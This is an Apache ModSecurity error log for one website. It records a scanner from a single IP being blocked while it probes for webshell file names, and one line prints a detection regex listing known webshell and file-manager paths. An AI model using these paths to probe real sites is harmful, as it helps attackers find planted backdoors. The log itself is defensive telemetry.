[Wed Apr 15 19:19:28.213832 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:7706] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad90QBcEkLCmvF0fjDes4QAAAIg"]
[Wed Apr 15 19:19:28.548287 2026] [:error] [pid 37370:tid 37387] [client 172.161.107.89:7802] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad90QHg-gnM2Ga0cGAAG0wAAAQ8"]
[Wed Apr 15 19:19:28.758971 2026] [:error] [pid 31053:tid 31079] [client 172.161.107.89:28195] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad90QBcEkLCmvF0fjDes4wAAAJc"]
[Wed Apr 15 19:19:29.051147 2026] [:error] [pid 30958:tid 31034] [client 172.161.107.89:48317] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad90QceG3wSKTO7NWFGNUQAAANI"]
[Wed Apr 15 19:19:29.385070 2026] [:error] [pid 30958:tid 31031] [client 172.161.107.89:27893] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad90QceG3wSKTO7NWFGNUgAAAM8"]
[Wed Apr 15 19:19:29.581723 2026] [:error] [pid 37370:tid 37381] [client 172.161.107.89:27876] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad90QXg-gnM2Ga0cGAAG1QAAAQk"]
[Wed Apr 15 19:19:29.867051 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:30312] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad90QXg-gnM2Ga0cGAAG2AAAARc"]
[Wed Apr 15 19:19:30.092536 2026] [:error] [pid 37370:tid 37378] [client 172.161.107.89:65079] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad90Qng-gnM2Ga0cGAAG2QAAAQY"]
[Wed Apr 15 19:19:30.401417 2026] [:error] [pid 37370:tid 37373] [client 172.161.107.89:19476] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad90Qng-gnM2Ga0cGAAG2wAAAQE"]
[Wed Apr 15 19:19:30.619438 2026] [:error] [pid 37370:tid 37374] [client 172.161.107.89:26709] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad90Qng-gnM2Ga0cGAAG3AAAAQI"]
[Wed Apr 15 19:19:30.927386 2026] [:error] [pid 30957:tid 30996] [client 172.161.107.89:19494] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad90Qn5gwVEVXHfVSipw4AAAAEc"]
[Wed Apr 15 19:19:31.187649 2026] [:error] [pid 30957:tid 31000] [client 172.161.107.89:15244] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad90Q35gwVEVXHfVSipw4gAAAEs"]
[Wed Apr 15 19:19:31.473971 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:26723] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad90Q3g-gnM2Ga0cGAAG3wAAARU"]
[Wed Apr 15 19:19:31.715522 2026] [:error] [pid 37370:tid 37396] [client 172.161.107.89:27421] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad90Q3g-gnM2Ga0cGAAG4AAAARg"]
[Wed Apr 15 19:19:32.017453 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:9636] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad90RHg-gnM2Ga0cGAAG4QAAARc"]
[Wed Apr 15 19:19:32.228169 2026] [:error] [pid 30956:tid 30961] [client 172.161.107.89:47276] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad90REBGUpjaWntNYq1hBgAAAAE"]
[Wed Apr 15 19:19:32.601067 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:27455] [client 172.161.107.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.agraphics.com.au"] [uri "/fm.php"] [unique_id "ad90RHg-gnM2Ga0cGAAG4wAAAQU"]
[Wed Apr 15 19:19:32.809731 2026] [:error] [pid 37370:tid 37374] [client 172.161.107.89:29544] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad90RHg-gnM2Ga0cGAAG5wAAAQI"]
[Wed Apr 15 19:19:33.090836 2026] [:error] [pid 31053:tid 31057] [client 172.161.107.89:30226] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad90RRcEkLCmvF0fjDes5wAAAIE"]
[Wed Apr 15 19:19:33.317295 2026] [:error] [pid 31053:tid 31078] [client 172.161.107.89:15764] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad90RRcEkLCmvF0fjDes6QAAAJY"]
[Wed Apr 15 19:19:33.632554 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:15795] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad90RRcEkLCmvF0fjDes6wAAAIg"]
[Wed Apr 15 19:19:33.833607 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:8479] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad90RRcEkLCmvF0fjDes7gAAAJE"]
[Wed Apr 15 19:19:34.122330 2026] [:error] [pid 30957:tid 30994] [client 172.161.107.89:19495] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad90Rn5gwVEVXHfVSipw5AAAAEU"]
[Wed Apr 15 19:19:34.346567 2026] [:error] [pid 31053:tid 31067] [client 172.161.107.89:8516] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad90RhcEkLCmvF0fjDes8gAAAIs"]
[Wed Apr 15 19:19:34.621229 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:47265] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad90Rng-gnM2Ga0cGAAG7AAAAQ4"]
[Wed Apr 15 19:19:34.903010 2026] [:error] [pid 30956:tid 30978] [client 172.161.107.89:37535] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad90RkBGUpjaWntNYq1hBwAAABI"]
[Wed Apr 15 19:19:35.109199 2026] [:error] [pid 30956:tid 30967] [client 172.161.107.89:18028] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad90R0BGUpjaWntNYq1hCAAAAAc"]
[Wed Apr 15 19:19:35.407172 2026] [:error] [pid 31053:tid 31066] [client 172.161.107.89:43603] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad90RxcEkLCmvF0fjDes8wAAAIo"]
[Wed Apr 15 19:19:35.624416 2026] [:error] [pid 30956:tid 30973] [client 172.161.107.89:16780] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad90R0BGUpjaWntNYq1hCQAAAA0"]
[Wed Apr 15 19:19:35.879727 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:27448] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad90R3g-gnM2Ga0cGAAG8AAAAQs"]
[Wed Apr 15 19:19:36.094392 2026] [:error] [pid 37370:tid 37392] [client 172.161.107.89:15757] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad90SHg-gnM2Ga0cGAAG8QAAARQ"]
[Wed Apr 15 19:19:36.422566 2026] [:error] [pid 37370:tid 37375] [client 172.161.107.89:30218] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad90SHg-gnM2Ga0cGAAG8wAAAQM"]
[Wed Apr 15 19:19:36.568067 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:32696] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad90SBcEkLCmvF0fjDes9gAAAIg"]
[Wed Apr 15 19:19:37.031902 2026] [:error] [pid 31053:tid 31077] [client 172.161.107.89:14610] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad90SRcEkLCmvF0fjDes-QAAAJU"]
[Wed Apr 15 19:19:37.541194 2026] [:error] [pid 30957:tid 31003] [client 172.161.107.89:28212] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad90SX5gwVEVXHfVSipw5wAAAE4"]
[Wed Apr 15 19:19:38.025586 2026] [:error] [pid 31053:tid 31067] [client 172.161.107.89:19967] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad90ShcEkLCmvF0fjDes-wAAAIs"]
[Wed Apr 15 19:19:38.609510 2026] [:error] [pid 31053:tid 31068] [client 172.161.107.89:18042] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad90ShcEkLCmvF0fjDetAAAAAIw"]
[Wed Apr 15 19:19:39.114319 2026] [:error] [pid 30957:tid 30998] [client 172.161.107.89:5994] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad90S35gwVEVXHfVSipw6AAAAEk"]
[Wed Apr 15 19:19:39.689007 2026] [:error] [pid 31053:tid 31071] [client 172.161.107.89:7700] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad90SxcEkLCmvF0fjDetAgAAAI8"]
[Wed Apr 15 19:19:40.284538 2026] [:error] [pid 30958:tid 31023] [client 172.161.107.89:47245] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad90TMeG3wSKTO7NWFGNXgAAAMc"]
[Wed Apr 15 19:19:40.977143 2026] [:error] [pid 30957:tid 30993] [client 172.161.107.89:37514] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad90TH5gwVEVXHfVSipw6gAAAEQ"]
[Wed Apr 15 19:19:41.663217 2026] [:error] [pid 30957:tid 31004] [client 172.161.107.89:65069] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad90TX5gwVEVXHfVSipw7AAAAE8"]
[Wed Apr 15 19:19:42.353955 2026] [:error] [pid 30957:tid 30996] [client 172.161.107.89:26731] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad90Tn5gwVEVXHfVSipw7QAAAEc"]
[Wed Apr 15 19:19:43.161511 2026] [:error] [pid 37370:tid 37396] [client 172.161.107.89:28250] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad90T3g-gnM2Ga0cGAAG9gAAARg"]
[Wed Apr 15 19:19:43.731072 2026] [:error] [pid 30957:tid 31010] [client 172.161.107.89:27445] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad90T35gwVEVXHfVSipw7wAAAFU"]
[Wed Apr 15 19:19:44.279846 2026] [:error] [pid 30958:tid 31024] [client 172.161.107.89:14642] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad90UMeG3wSKTO7NWFGNZgAAAMg"]
[Wed Apr 15 19:19:44.848844 2026] [:error] [pid 30958:tid 31031] [client 172.161.107.89:47285] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad90UMeG3wSKTO7NWFGNaQAAAM8"]
[Wed Apr 15 19:19:45.536500 2026] [:error] [pid 31053:tid 31072] [client 172.161.107.89:30216] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad90URcEkLCmvF0fjDetBwAAAJA"]
[Wed Apr 15 19:19:46.098543 2026] [:error] [pid 30957:tid 31011] [client 172.161.107.89:27393] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad90Un5gwVEVXHfVSipw8gAAAFY"]
[Wed Apr 15 19:19:46.687326 2026] [:error] [pid 30958:tid 31016] [client 172.161.107.89:5641] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad90UseG3wSKTO7NWFGNagAAAMA"]
[Wed Apr 15 19:19:47.282976 2026] [:error] [pid 37370:tid 37381] [client 172.161.107.89:8532] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad90U3g-gnM2Ga0cGAAG_wAAAQk"]
[Wed Apr 15 19:19:47.847603 2026] [:error] [pid 37370:tid 37378] [client 172.161.107.89:7961] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad90U3g-gnM2Ga0cGAAHAQAAAQY"]
[Wed Apr 15 19:19:48.466612 2026] [:error] [pid 30956:tid 30976] [client 172.161.107.89:15806] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad90VEBGUpjaWntNYq1hFAAAABA"]
[Wed Apr 15 19:19:49.016881 2026] [:error] [pid 37370:tid 37373] [client 172.161.107.89:8506] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad90VXg-gnM2Ga0cGAAHBgAAAQE"]
[Wed Apr 15 19:19:49.503819 2026] [:error] [pid 30958:tid 31033] [client 172.161.107.89:21005] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad90VceG3wSKTO7NWFGNbAAAANE"]
